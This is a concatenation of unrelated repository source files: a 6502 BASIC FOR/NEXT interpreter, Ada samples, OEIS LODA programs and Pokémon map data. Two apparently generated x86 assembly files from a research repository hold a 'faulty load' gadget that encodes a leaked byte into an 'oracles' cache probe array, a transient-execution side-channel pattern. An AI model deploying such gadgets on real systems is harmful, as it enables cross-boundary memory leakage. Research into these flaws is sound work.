; *******************************************************************************************
;
; Name : for.asm
; Purpose : FOR/NEXT Command
; Date : 30th August 2019
; Author : <NAME> (<EMAIL>)
;
; *******************************************************************************************
; *******************************************************************************************
Command_FOR: ;; for
;
; Start of with a Let FOR [I = xxxx] which leaves the pointer set up.
;
jsr Command_LET ; do the A = 99 bit
lda zVarType ; obviously has to be integer/real.
cmp #token_Dollar
beq _CFOError
pha ; save the variable type.
phy ; save type/variable address.
ldy #1 ; type at + 1
sta (zBasicSP),y
iny
lda zVarDataPtr ; data low at +2
sta (zBasicSP),y
iny
lda zVarDataPtr+1 ; data high at +3
sta (zBasicSP),y
ply
;
; Put the variable pointer as the first frame.
;
lda #(SMark_For << 4) + 3
jsr StackPushFrame ; push on the stack with FOR marker.
;
; TO <target>
;
lda #token_TO
jsr CheckNextToken
ldx #0 ; put in Mantissa, bottom
jsr EvaluateExpression
;
; STEP <step> if present, goes in 2nd slot.
;
#s_get ; STEP present.
ldx #XS_Size ; X to second level
cmp #token_STEP
bne _CFOStep1
#s_next ; skip STEP
jsr EvaluateExpressionX ; get STEP value.
bra _CFOHaveStep
_CFOStep1:
lda #0 ; set step to integer 1.
sta XS_Mantissa+1,x
sta XS_Mantissa+2,x
sta XS_Mantissa+3,x
lda #1
sta XS_Mantissa+0,x
sta XS_Type,x
_CFOHaveStep:
;
; Preconvert to the compatible type. If integer only
; then there's no conversion, this is removed.
;
pla ; restore variable type
ldx #0
.if hasFloat != 0
cmp #token_Percent ; do conversion to type
beq _CFOInteger
jsr FPUToFloat
ldx #6
jsr FPUToFloat
bra _CFOEndConv
_CFOInteger:
jsr FPUToInteger
ldx #6
jsr FPUToInteger
.endif
;
; Push the loop position, now we're at the statement end.
;
_CFOEndConv:
jsr StackSavePosition ; save the loop position at 1-5
lda #(SMark_For << 4)+SourcePosSize
jsr StackPushFrame ; push the loop address frame.
;
; Copy TARGET and STEP onto the stack and put that as a frame
; (3 in total)
;
phy
ldy #0
_CFOCopy:
lda XS_Mantissa+0,y
iny
sta (zBasicSP),y
cpy #XS_Size*2
bne _CFOCopy
ply
lda #(SMark_For << 4)+(XS_Size*2)
jsr StackPushFrame
rts
_CFOError:
jmp TypeError ; wrong type.
; *******************************************************************************************
;
; NEXT <var>[,var]
;
; *******************************************************************************************
Command_NEXT: ;; next
lda #0 ; set variable data pointer+1 to zero
sta zVarDataPtr+1 ; this means we don't check
#s_get ; variable ?
cmp #0 ; EOL
beq _CNextNoVariable
cmp #$40
bcs _CNextNoVariable
;
; Followed by a variable, put address in zVarDataPtr for checking.
;
jsr VariableFind
;
_CNextNoVariable:
lda zBasicSP ; save on stack
pha
lda zBasicSP+1
pha
lda #(SMark_For << 4) ; pop loop address frame
jsr StackPopFrame
lda #(SMark_For << 4) ; pop STEP/TARGET frame.
jsr StackPopFrame
lda #(Smark_For << 4) ; pop variable address frame.
jsr StackPopFrame
;
; Perhaps check the same variable used ?
;
lda zVarDataPtr+1 ; if zero, then no variable provided
beq _CNextGetTarget ; e.g. just NEXT not NEXT x
phy ; check addresses match.
ldy #2
lda (zBasicSP),y
cmp zVarDataPtr
bne _CNextWrong
iny
lda (zBasicSP),y
cmp zVarDataPtr+1
bne _CNextWrong
ply
_CNextGetTarget:
;
; Get the target variable
;
phy
ldy #1 ; restore variable type and data.
lda (zBasicSP),y
sta zVarType
iny
lda (zBasicSP),y
sta zVarDataPtr
iny
lda (zBasicSP),y
sta zVarDataPtr+1
ldx #12
jsr VariableGet ; get that variable value into expr[2]
;
; Get target and step back.
;
ldx #0 ; copy stacked Target/Step into expr[0] and [1]
ldy #11
_CNXCopy:
lda (zBasicSP),y
sta XS_Mantissa+0,x
inx
iny
cpx #XS_Size*2
bne _CNXCopy
ply
;
; Work out SGN(step)
;
ldx #6 ; point at expr[1] s
jsr GetSignCurrent
sta SignNext ; save in temporary.
;
; Add step (1) to variable value (2)
;
ldx #6 ; add them, however
jsr BinaryOp_Add
jsr VariableSet ; and write variable back.
;
; Compare target and total.
;
ldx #0
jsr CompareValues
ora #0
beq _CNXAgain ; if true, then do it again.
cmp SignNext ; if sign different, then loop has finished.
bne _CNXLoopDone
;
; Restore frames (e.g. like they were pushed back) restoring
; position as you go past.
;
_CNXAgain:
lda #(SMark_For << 4) + 3 ; re-stack variable address
jsr StackPushFrame
jsr StackRestorePosition ; get restore position back, e.g. loop round.
pla
sta zBasicSP+1
pla
sta zBasicSP
_CNXExit:
rts
;
; Loop complete, but check for ,<variable>
;
_CNXLoopDone:
pla ; throw away saved to Basic Stack Pointer
pla
#s_get
cmp #token_Comma ; comma ?
bne _CNXExit
#s_next ; skip comma
jsr VariableFind ; identify the variable
jmp _CNextNoVariable ; go back with variable pre-found
_CNextWrong:
#Fatal "Wrong Next Variable" |
Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_21829_1659.asm | ljhsiun2/medusa | 9 | 244711 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xda1f, %r10
clflush (%r10)
nop
xor %r14, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm4
and $0xffffffffffffffc0, %r10
movntdq %xmm4, (%r10)
xor %r11, %r11
lea addresses_A_ht+0xc01d, %rbx
nop
nop
nop
xor $7450, %rdx
mov (%rbx), %r12d
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0xb07d, %r12
nop
nop
nop
nop
dec %r14
movw $0x6162, (%r12)
nop
xor $36627, %r8
lea addresses_A_ht+0x1d143, %r8
nop
nop
nop
nop
add %r11, %r11
mov (%r8), %r14
nop
nop
nop
nop
nop
and %r8, %r8
lea addresses_normal_ht+0x146fd, %rsi
lea addresses_D_ht+0x2efd, %rdi
nop
nop
nop
nop
and %r8, %r8
mov $87, %rcx
rep movsl
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0xd1fd, %rsi
lea addresses_WT_ht+0x1557d, %rdi
add $5714, %r14
mov $70, %rcx
rep movsq
nop
nop
dec %rbx
lea addresses_D_ht+0xf19d, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
xor %r14, %r14
movb $0x61, (%rbx)
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0x1bb3d, %r11
clflush (%r11)
nop
and %r8, %r8
mov $0x6162636465666768, %r12
movq %r12, %xmm7
movups %xmm7, (%r11)
nop
nop
nop
xor $21941, %rsi
lea addresses_WC_ht+0x1247d, %r14
inc %r12
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
nop
add $29360, %r8
lea addresses_UC_ht+0xe9fd, %r8
nop
nop
nop
nop
and %r10, %r10
mov (%r8), %edi
nop
nop
sub $54010, %r10
lea addresses_normal_ht+0x49fd, %rsi
nop
nop
nop
nop
nop
xor %r14, %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rsi)
nop
nop
nop
nop
xor %r10, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rbx
push %rdx
// Faulty Load
mov $0x50d5490000000dfd, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
xor %r8, %r8
vmovups (%rbx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r10
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rdx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'00': 21825, '44': 4}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
projects/opengrok/opengrok-indexer/src/test/resources/analysis/ada/sample.adb | pwr-pbrwio/PBR20M2 | 5 | 21548 | --
-- CDDL HEADER START
--
-- The contents of this file are subject to the terms of the
-- Common Development and Distribution License (the "License").
-- You may not use this file except in compliance with the License.
--
-- See LICENSE.txt included in this distribution for the specific
-- language governing permissions and limitations under the License.
--
-- When distributing Covered Code, include this CDDL HEADER in each
-- file and include the License file at LICENSE.txt.
-- If applicable, add the following below this CDDL HEADER, with the
-- fields enclosed by brackets "[]" replaced with your own identifying
-- information: Portions Copyright [yyyy] [name of copyright owner]
--
-- CDDL HEADER END
--
--
-- Copyright (c) 2017, <NAME> <<EMAIL>>.
--
with Ada.Text_IO; use Ada.Text_IO;
procedure Hello is
begin
Put_Line("Hello, world!");
Put_Line("""
Hello?""");
Put_Line('?');
Put_Line('
');
Put(0);
Put(12);
Put(123_456);
Put(3.14159_26);
Put(2#1111_1111#);
Put(16#E#E1);
Put(16#F.FF#E+2);
Put_Line();
Put_Line("Archimedes said ""ฮฯฯฮทฮบฮฑ""");
end Hello;
-- Test a URL that is not matched fully by a rule using just {URIChar} and
-- {FnameChar}:
-- https://msdn.microsoft.com/en-us/library/windows/desktop/ms633591(v=vs.85).aspx
|
programs/oeis/065/A065262.asm | neoneye/loda | 22 | 8471 | <reponame>neoneye/loda<gh_stars>10-100
; A065262: The nonpositive side (-1, -2, -3, ...) of the site swap sequence A065261. The bisection of odd terms of A065261.
; 1,1,5,2,9,3,13,4,17,5,21,6,25,7,29,8,33,9,37,10,41,11,45,12,49,13,53,14,57,15,61,16,65,17,69,18,73,19,77,20,81,21,85,22,89,23,93,24,97,25,101,26,105,27,109,28,113,29,117,30,121,31,125,32,129,33,133,34,137,35,141,36,145,37,149,38,153,39,157,40,161,41,165,42,169,43,173,44,177,45,181,46,185,47,189,48,193,49,197,50
mul $0,6
add $0,2
dif $0,4
div $0,3
add $0,1
|
data/mapObjects/ssanne1.asm | adhi-thirumala/EvoYellow | 16 | 93242 | SSAnne1Object:
db $c ; border block
db $b ; warps
db $0, $1a, $1, VERMILION_DOCK
db $0, $1b, $1, VERMILION_DOCK
db $8, $1f, $0, SS_ANNE_8
db $8, $17, $1, SS_ANNE_8
db $8, $13, $2, SS_ANNE_8
db $8, $f, $3, SS_ANNE_8
db $8, $b, $4, SS_ANNE_8
db $8, $7, $5, SS_ANNE_8
db $6, $2, $6, SS_ANNE_2
db $f, $25, $5, SS_ANNE_4
db $10, $3, $0, SS_ANNE_6
db $0 ; signs
db $2 ; objects
object SPRITE_WAITER, $c, $6, WALK, $2, $1 ; person
object SPRITE_SAILOR, $1b, $5, STAY, NONE, $2 ; person
; warp-to
EVENT_DISP SS_ANNE_1_WIDTH, $0, $1a ; VERMILION_DOCK
EVENT_DISP SS_ANNE_1_WIDTH, $0, $1b ; VERMILION_DOCK
EVENT_DISP SS_ANNE_1_WIDTH, $8, $1f ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $8, $17 ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $8, $13 ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $8, $f ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $8, $b ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $8, $7 ; SS_ANNE_8
EVENT_DISP SS_ANNE_1_WIDTH, $6, $2 ; SS_ANNE_2
EVENT_DISP SS_ANNE_1_WIDTH, $f, $25 ; SS_ANNE_4
EVENT_DISP SS_ANNE_1_WIDTH, $10, $3 ; SS_ANNE_6
|
programs/oeis/028/A028729.asm | neoneye/loda | 22 | 164664 | ; A028729: Nonsquares mod 16.
; 2,3,5,6,7,8,10,11,12,13,14,15
sub $2,$0
div $0,2
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$2
add $1,2
mov $0,$1
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1496.asm | ljhsiun2/medusa | 9 | 11324 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x9c19, %r10
nop
nop
nop
add $5560, %r15
mov (%r10), %esi
nop
nop
nop
nop
nop
add $25768, %rax
lea addresses_UC_ht+0xaed9, %r14
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
movups %xmm2, (%r14)
nop
nop
nop
nop
nop
cmp $33931, %rdx
lea addresses_WT_ht+0x18659, %rsi
lea addresses_WC_ht+0x1e2d9, %rdi
clflush (%rdi)
nop
nop
xor %rdx, %rdx
mov $27, %rcx
rep movsq
add %rcx, %rcx
lea addresses_WC_ht+0xac21, %r14
nop
nop
nop
add %rsi, %rsi
movb (%r14), %dl
cmp %rax, %rax
lea addresses_A_ht+0x2dd9, %rsi
lea addresses_normal_ht+0x177ad, %rdi
nop
nop
inc %r15
mov $98, %rcx
rep movsq
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_WT_ht+0x182d9, %rsi
lea addresses_UC_ht+0x62d9, %rdi
nop
nop
nop
and $231, %rdx
mov $117, %rcx
rep movsq
and %rcx, %rcx
lea addresses_WT_ht+0x135ba, %rdx
nop
add %r15, %r15
movb $0x61, (%rdx)
nop
nop
nop
cmp %r10, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_UC+0x1c6d9, %rcx
nop
nop
nop
nop
nop
xor %r8, %r8
movl $0x51525354, (%rcx)
nop
nop
nop
xor $10554, %rdx
// Faulty Load
lea addresses_WT+0x6d9, %rdi
nop
nop
nop
nop
nop
xor %rsi, %rsi
vmovaps (%rdi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rax
lea oracles, %r8
and $0xff, %rax
shlq $12, %rax
mov (%r8,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'49': 3846, '00': 5267, '45': 12716}
00 00 45 45 45 45 00 45 45 45 45 00 49 45 49 45 45 45 45 45 45 00 45 45 45 49 45 45 45 49 45 45 45 49 00 49 00 45 00 49 49 49 45 00 45 45 45 45 45 45 45 45 49 49 00 45 45 45 00 00 45 45 45 45 45 49 49 45 45 45 45 45 45 45 45 49 00 45 45 00 45 45 45 45 00 00 45 45 45 45 45 45 49 45 45 49 45 00 00 49 45 45 49 00 49 45 00 49 49 00 00 45 45 45 45 45 45 45 49 00 45 45 00 49 00 49 49 45 49 45 45 45 45 45 00 45 00 45 45 45 49 49 45 45 49 45 45 45 45 45 49 45 45 45 45 00 49 49 45 00 45 00 45 45 45 00 45 45 49 00 00 00 49 49 00 45 45 45 45 49 00 45 45 45 49 00 00 00 00 45 45 00 45 00 45 45 45 45 45 00 45 49 00 45 45 45 45 45 45 49 49 45 00 49 45 45 45 45 45 45 45 45 45 49 00 00 45 45 49 49 45 00 00 49 45 45 45 49 45 00 49 45 45 00 45 45 00 45 00 45 49 45 45 00 45 45 49 00 45 00 45 45 45 00 45 00 49 45 45 49 45 45 45 45 45 45 00 49 45 45 45 49 45 49 00 45 45 49 45 45 45 00 45 45 45 45 00 45 49 45 45 49 45 49 45 45 45 00 45 00 45 49 00 45 45 00 45 45 00 45 45 45 45 49 00 45 45 00 45 45 49 45 49 00 45 45 00 00 49 45 00 45 45 45 45 45 45 49 45 00 45 45 45 00 45 45 00 00 49 49 49 45 00 45 00 45 45 00 45 49 00 45 00 00 45 00 45 00 45 00 45 45 49 45 00 45 00 00 00 45 45 45 00 45 45 45 00 45 49 45 45 45 00 45 00 45 49 45 49 45 45 00 45 49 00 45 00 45 49 00 00 45 45 00 49 00 49 45 49 00 45 49 45 45 45 45 49 00 45 49 45 45 49 45 00 00 45 45 00 00 45 45 45 45 45 45 45 45 00 49 45 49 00 45 45 45 49 49 45 45 45 45 49 45 00 00 45 45 45 45 49 45 45 45 49 00 45 45 45 45 45 45 49 00 45 00 45 45 00 45 00 49 00 45 00 49 45 45 45 49 49 49 45 45 45 45 00 45 45 45 45 45 45 00 45 00 45 45 45 49 00 45 45 45 49 45 00 45 45 45 49 45 00 45 45 45 00 00 45 00 45 00 45 45 45 49 45 45 45 45 45 00 45 45 45 00 00 45 45 49 45 00 45 45 45 49 45 45 45 45 45 45 45 45 45 49 45 45 45 45 00 00 00 45 45 45 49 45 45 45 49 00 45 45 45 49 45 00 45 45 45 49 45 45 45 45 00 49 45 45 00 45 45 45 45 00 49 00 45 00 45 00 45 45 49 00 49 49 45 49 45 00 45 45 00 45 49 00 00 45 45 45 49 45 49 49 45 45 00 49 49 45 45 49 45 45 00 45 45 00 45 00 49 49 45 45 49 00 45 45 45 00 45 49 45 45 00 45 49 45 45 00 49 00 45 49 00 49 49 00 45 45 45 45 00 45 45 45 49 45 49 49 49 45 45 45 45 45 45 49 45 49 00 49 00 45 49 45 45 45 45 45 00 49 45 45 49 45 49 49 45 00 49 00 45 45 00 00 45 45 00 49 45 00 45 45 45 49 45 00 45 00 45 45 00 49 45 45 45 45 45 45 49 45 45 45 49 45 00 00 00 45 00 00 49 45 45 45 45 45 00 45 49 49 49 00 45 45 45 49 49 45 49 00 45 45 49 45 45 45 00 45 45 49 45 00 45 45 45 00 45 45 00 45 45 45 45 00 00 00 45 00 45 45 49 45 45 45 45 00 45 45 45 45 45 45 00 45 00 45 45 45 00 45 45 45 00 45 45 45 00 00 49 00 45 45 00 45 45 45 45 49 45 45 45 49 45 00 00 45 45 45 49 49 45 49 45 45 49 45 45 49 45 00 45 00 00 45 45 49 00 45 00 00 45 45 00 45 00 49 45 45 45 45 45 49 45 45 45 00 49 45 45 49 00 45 00 49 49 00 45 45 45 45 00 45 49 00 49 45 45 45 45 45 49 45 45 45 45 45 49 49 45 45 45 45 45 00 45 00 45 00 45 00 45 00 45 45 45 49 45 49 49 45 45 49 45 49 45 49 00 00 00 45 45 49 45 45 45 45 49 45 45 45 00 45 45 49 45 00
*/
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_size.asm | teknoplop/z88dk | 8 | 20284 |
; size_t b_array_size(b_array_t *a)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC b_array_size
EXTERN asm_b_array_size
defc b_array_size = asm_b_array_size
|
src/Processors/Dump/project_processor-processors-dumping.adb | fintatarta/eugen | 0 | 19947 | <gh_stars>0
pragma Ada_2012;
with Ada.Text_IO; use Ada.Text_IO;
with EU_Projects.Nodes.Partners;
with EU_Projects.Nodes.Action_Nodes.WPs;
with EU_Projects.Nodes.Action_Nodes.Tasks;
with Project_Processor.Processors.Processor_Tables;
with EU_Projects.Times;
package body Project_Processor.Processors.Dumping is
use EU_Projects.Projects;
------------
-- Create --
------------
overriding function Create
(Params : not null access Processor_Parameter) return Processor_Type
is
pragma Unreferenced (Params);
Result:Processor_Type;
begin
return Result;
end Create;
procedure Print_Partners (Input : EU_Projects.Projects.Project_Descriptor)
is
use EU_Projects.Nodes.Partners;
procedure Print_Partner (Partner : Partner_Access) is
use EU_Projects.Nodes;
begin
Put_Line ("[PARTNER]");
Put_Line (" Name : " & Partner.Name);
Put_Line (" Label : " & To_String (Partner.Label));
Put_Line (" short : " & Partner.Short_Name);
Put_Line ("[/ PARTNER]");
end Print_Partner;
begin
for Idx in Input.All_Partners loop
Print_Partner (Element (Idx));
end loop;
end Print_Partners;
procedure Print_WPs (Input : EU_Projects.Projects.Project_Descriptor)
is
use EU_Projects.Nodes.Action_Nodes.WPs;
use EU_Projects.Nodes.Action_Nodes.Tasks;
procedure Print_WP (WP : Project_WP_Access) is
use EU_Projects.Nodes;
procedure Print_Times (N : Action_Nodes.Action_Node'Class; Tab : String) is
use EU_Projects.Times;
begin
Put_Line (Tab & "begin : " & Image (N.Starting_Time));
Put_Line (Tab & "end : " & Image (N.Ending_Time));
end Print_Times;
procedure Print_Efforts (N : Action_Nodes.Action_Node'Class; Tab : String) is
begin
Put_Line (Tab & "[efforts]");
for Pos in Input.All_Partners loop
Put_Line (Tab & " "
& To_String (Element (Pos).Label)
& " : "
& N.Effort_Of (Partners.Partner_Label (Element (Pos).Label))'image);
end loop;
Put_Line (Tab & "[/ efforts]");
end Print_Efforts;
procedure Print_Task (Tsk : Project_Task_Access) is
begin
Put_Line (" [Task]");
Put_Line (" Name : " & tsk.Name);
Put_Line (" Label : " & To_String (tsk.Label));
Put_Line (" short : " & tsk.Short_Name);
Print_Times (Tsk.all, " ");
Print_Efforts (Tsk.all, " ");
Put_Line (" [/ Task]");
end Print_Task;
begin
Put_Line ("[WP]");
Put_Line (" Name : " & WP.Name);
Put_Line (" Label : " & To_String (WP.Label));
Put_Line (" short : " & WP.Short_Name);
Print_Times (WP.all, " ");
Print_Efforts (WP.all, " ");
for Idx in WP.All_Tasks loop
Print_Task (Element (Idx));
end loop;
Put_Line ("[/ WP]");
end Print_WP;
begin
for Idx in Input.All_WPs loop
Print_WP (Element (Idx));
end loop;
end Print_WPs;
-------------
-- Process --
-------------
overriding procedure Process
(Processor : Processor_Type;
Input : EU_Projects.Projects.Project_Descriptor)
is
pragma Unreferenced (Processor);
begin
Print_Partners (Input);
Print_WPs (Input);
-- Print_Deliverables (Input);
-- Print_Milestones (Input);
end Process;
begin
Processor_Tables.Register (ID => To_Id ("dump"),
Tag => Processor_Type'Tag);
end Project_Processor.Processors.Dumping;
|
data/mapHeaders/lavenderhouse1.asm | adhi-thirumala/EvoYellow | 16 | 86147 | <reponame>adhi-thirumala/EvoYellow
LavenderHouse1_h:
db HOUSE ; tileset
db LAVENDER_HOUSE_1_HEIGHT, LAVENDER_HOUSE_1_WIDTH ; dimensions (y, x)
dw LavenderHouse1Blocks, LavenderHouse1TextPointers, LavenderHouse1Script ; blocks, texts, scripts
db $00 ; connections
dw LavenderHouse1Object ; objects
|
programs/oeis/205/A205219.asm | neoneye/loda | 22 | 161619 | ; A205219: Number of (n+1)X2 0..1 arrays with the number of equal 2X2 subblock diagonal pairs and equal antidiagonal pairs differing from each horizontal or vertical neighbor, and new values 0..1 introduced in row major order
